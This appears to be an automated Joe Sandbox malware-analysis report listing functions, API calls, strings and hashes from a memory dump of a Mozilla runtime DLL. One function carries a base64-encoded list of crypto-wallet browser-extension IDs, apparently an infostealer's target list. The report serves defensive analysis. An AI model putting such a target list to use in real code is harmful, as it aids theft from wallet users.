Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: cb01ecf7084c70ad818603b6a520141de34d0495cfce2bc65f36e2a55bd185f8
Instruction ID: 007eb7a1fade574ccf0dc959eb1f1bbd7a8d082072450760e71340bc985b2e4d
Opcode Fuzzy Hash: cb01ecf7084c70ad818603b6a520141de34d0495cfce2bc65f36e2a55bd185f8
Instruction Fuzzy Hash: 15F0C2B2E10745ABE7008F61C889676BB78FFEA259F11431AF90483B01E7B1A5D18BD0

Function 6CAF1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAF1800

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

Part of subcall function 6CA94290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAD3EBD,6CAD3EBD,00000000), ref: 6CA942A9

Strings

name, xrefs: 6CAF1939
Details, xrefs: 6CAF1925
{marker.name} - {marker.data.name}, xrefs: 6CAF18C7

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 25896c4a17725fb4a7844e72aa58eddc442995cbba9df5d8f1adc28773b38743
Instruction ID: 30e8cef3244e0bfbe4c83dfb1369492aa6b7a024e28c38669ad5ab05537d7a12
Opcode Fuzzy Hash: 25896c4a17725fb4a7844e72aa58eddc442995cbba9df5d8f1adc28773b38743
Instruction Fuzzy Hash: 4371E2B0A003469FC704CF28D5956AABBB1FF45314F044669E8255BF41D770EA99CBE2

Function 6CAFB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CAFB0A6,6CAFB0A6,?,6CAFAF67,?,00000010,?,6CAFAF67,?,00000010,00000000,?,?,6CAFAB1F), ref: 6CAFB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CAFB0A6,6CAFB0A6,?,6CAFAF67,?,00000010,?,6CAFAF67,?,00000010,00000000,?), ref: 6CAFB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CAFB0A6,6CAFB0A6,?,6CAFAF67,?,00000010,?,6CAFAF67,?,00000010), ref: 6CAFB25F

Strings

map/set<T> too long, xrefs: 6CAFB1FA

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 7b0685043931aba3c3009c9d94fdb8844caee45daf33cbe7509f606538b03ce7
Instruction ID: 12482a199831d9e5a35e82e0819799e5fe82a0ba857713d8309af37b8c9a6123
Opcode Fuzzy Hash: 7b0685043931aba3c3009c9d94fdb8844caee45daf33cbe7509f606538b03ce7
Instruction Fuzzy Hash: 4E617D746042458FD701CF19D980A9ABBF5FF4A318F18C699E8695FB52C331EC86CB91

Function 6CB09830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB0985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB0987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CB098DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CB098D9

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 329ffaffa6635401779cd7d484c896ca6e43eff908867ce5b8d91739a3a7b832
Instruction ID: 113ba5bd902eba75b547a52efe1da6c8eb652c6325bb5221b6311057816717c0
Opcode Fuzzy Hash: 329ffaffa6635401779cd7d484c896ca6e43eff908867ce5b8d91739a3a7b832
Instruction Fuzzy Hash: 95312971F002089FDB14AF59DC559EF77A9EF44358F00802DEA1AABB40DB316948CBD2

Function 6CAEB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA94290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAD3EBD,6CAD3EBD,00000000), ref: 6CA942A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CAEB127), ref: 6CAEB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAEB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CAEB4E4

Strings

pid:, xrefs: 6CAEB4DE

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f721a8272f8715e8548809e8dc2d32d413d125e74193faced147922194b16a71
Instruction ID: f3788b1f78864e62c0006601b459b368d6c30bef5bcaab8c582f29ed9f5565af
Opcode Fuzzy Hash: f721a8272f8715e8548809e8dc2d32d413d125e74193faced147922194b16a71
Instruction Fuzzy Hash: 6631E931A01308DFDB00DFA9E448AEEB7B5FF49318F580629D41267A41D731A8C9DBE5

Function 6CAE25B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn,00000000,?,00000000,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE25BB

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE25C9

Part of subcall function 6CAE27E0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE284D
Part of subcall function 6CAE27E0: free.MOZGLUE(00000001,?,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE293C
Part of subcall function 6CAE27E0: free.API-MS-WIN-CRT-HEAP-L1-1-0(b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn,?,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE294E

free.MOZGLUE(00000000,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE262A

Strings

b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn, xrefs: 6CAE25BA, 6CAE25C5

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$malloc$memsetmoz_xmalloc
String ID: b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn
API String ID: 1079124989-3501656417
Opcode ID: 8db7df4c6847cb7b54263ec54aa9ab1d10bf8467af05c39d922af9d379268d13
Instruction ID: 9ae1735b3ccb734ca844dde32598adde452749dc41e9f288de4afada3dd5c0db
Opcode Fuzzy Hash: 8db7df4c6847cb7b54263ec54aa9ab1d10bf8467af05c39d922af9d379268d13
Instruction Fuzzy Hash: F8117CB16007018FD330CE19D994AA6B7F5EF59318B144A1DE89647E42D772F84AD7A0

Function 6CADE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CADE577
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADE584
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CADE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CADE826, 6CADE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CADE777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CADE722, 6CADE750, 6CADE7A2
MOZ_PROFILER_STARTUP, xrefs: 6CADE5A1, 6CADE5CC, 6CADE5FF, 6CADE62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CADE655

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 503d69975b3c3338652494a8a73021579428371807ba67494e9ef7cac6556a70
Instruction ID: 086b48d80f7baf1e9c80a6115ae9484e8d1c1f607baee47efc9afe14dfe1a7e9
Opcode Fuzzy Hash: 503d69975b3c3338652494a8a73021579428371807ba67494e9ef7cac6556a70
Instruction Fuzzy Hash: 8711AD32A04298DFDB00DF15C84AA6AFBB8FB89368F450619E85687F50C774A885CB95

Function 6CAE0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAE0CD5

Part of subcall function 6CACF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CACF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAE0D40
free.MOZGLUE ref: 6CAE0DCB

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

free.MOZGLUE ref: 6CAE0DDD
free.MOZGLUE ref: 6CAE0DF2

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fb40d7394fbbffea791fc7b06881d7309369277caea9611d0f991376fdd0a008
Instruction ID: 65fab4d8578b32210e89e412092ce6948c0320c0cce7804b83f14f7220a1aad1
Opcode Fuzzy Hash: fb40d7394fbbffea791fc7b06881d7309369277caea9611d0f991376fdd0a008
Instruction Fuzzy Hash: 5B412A719087808BD320CF29C18079AFBE5BFC9754F118A2EE8D887750DB709485DB82

Function 6CAA1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CAA17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CAA18EE
free.MOZGLUE(?), ref: 6CAA1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAA194C

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: e2fa7b676152fad51751bc2000e4524888165d94e9adc1e8e5e6d5f579bef83d
Instruction ID: 66ff86e3609b8f4a440609342c9932d0a78fc5d6c3277616422a1e2d584c5d98
Opcode Fuzzy Hash: e2fa7b676152fad51751bc2000e4524888165d94e9adc1e8e5e6d5f579bef83d
Instruction Fuzzy Hash: 3581C570A11205EFCB08CFA9D8949BEBBB1FF89314F04452DE915AB754D730E889CBA1

Function 6CAB5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAB5D40
EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CAB5D67
__aulldiv.LIBCMT ref: 6CAB5DB4
LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CAB5DED

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1887a93de3d666eff37aae55766c24ac85e713a1204874aca0f79d6be8dcfbe0
Instruction ID: a0f51e9725d3f50c78497987780de5b59ee2c09b93389f73cbe75709cea46d8b
Opcode Fuzzy Hash: 1887a93de3d666eff37aae55766c24ac85e713a1204874aca0f79d6be8dcfbe0
Instruction Fuzzy Hash: FE515E71E002598FCF08CFA8C955AAEBBB6FB89304F29861DD815B7B50C7706985CB90

Function 6CA9CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA9CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA9CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA9CF4E

Strings

0, xrefs: 6CA9CF30

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 2ebb9a4945786ece210a3843248639f6313a461f9f38564d5b9cdb6be36746a5
Instruction ID: eaadf54a2fbf4f84bbfadad1c0d4a4858a32288950b098877f291fbaff02f330
Opcode Fuzzy Hash: 2ebb9a4945786ece210a3843248639f6313a461f9f38564d5b9cdb6be36746a5
Instruction Fuzzy Hash: 79512271A006568FCB00CF18C890AAABBF5EF99304F19819DD85A5F752D731ED46CBE0

Function 6CAAAE60 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E744), ref: 6CAAAE8C
LeaveCriticalSection.KERNEL32(6CB1E744), ref: 6CAAAEC9
LeaveCriticalSection.KERNEL32(6CB1E744), ref: 6CAAAF8C

Strings

upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CAAAEED

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID: upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 2978645861-3917454776
Opcode ID: 48c3237a3d5efe606f88879c97175be44fad60d454fecee3ae2a92d76f4bb57c
Instruction ID: 06c4f6b3a7388ff627f96c8e59e7f66a674b714a16af38da065ae1c9abf41f58
Opcode Fuzzy Hash: 48c3237a3d5efe606f88879c97175be44fad60d454fecee3ae2a92d76f4bb57c
Instruction Fuzzy Hash: 9441A3B17016148FD709CF68C494B58B7E2EF49324F19C169E8198BBA2D731EC82CFA0

Function 6CAF77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CAF7829

Part of subcall function 6CACCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CA931A7), ref: 6CACCC45
Part of subcall function 6CACCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CA931A7), ref: 6CACCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAF789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAF78CF

Part of subcall function 6CA94DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA94E5A
Part of subcall function 6CA94DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA94E97

Part of subcall function 6CA94290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAD3EBD,6CAD3EBD,00000000), ref: 6CA942A9

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 5b7d12c7ddcb43ccf4784bb1fd76f2418c470d3697a2dc6c7a95cec34002aeb1
Instruction ID: 0b86cda273e7ea6adbf86b68c43f56d64df4cf686509e53ad44988bf9ae69e63
Opcode Fuzzy Hash: 5b7d12c7ddcb43ccf4784bb1fd76f2418c470d3697a2dc6c7a95cec34002aeb1
Instruction Fuzzy Hash: AC41AE719047469FD300DF29C48056BFBF4FF8A254F204A2DE4A987A41DB30E59ACBD2

Function 6CAD6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAD82BC,?,?), ref: 6CAD649B

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD64A9

Part of subcall function 6CACFA80: GetCurrentThreadId.KERNEL32 ref: 6CACFA8D
Part of subcall function 6CACFA80: AcquireSRWLockExclusive.KERNEL32(6CB1F448), ref: 6CACFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD653F
free.MOZGLUE(?), ref: 6CAD655A

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 7d32f9898937c8dc92e5292b7cb8ccb0a7453fc6077702fc94237c44066bfead
Instruction ID: 7e92a827fdbe52c085bfec235d0484a0a0d4589ea00268dcb375d531afff75df
Opcode Fuzzy Hash: 7d32f9898937c8dc92e5292b7cb8ccb0a7453fc6077702fc94237c44066bfead
Instruction Fuzzy Hash: AF316DB5A043059FD704CF24D984A9EBBE4BF89314F00492EE89A97B41DB34F959CB92

Function 6CACFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

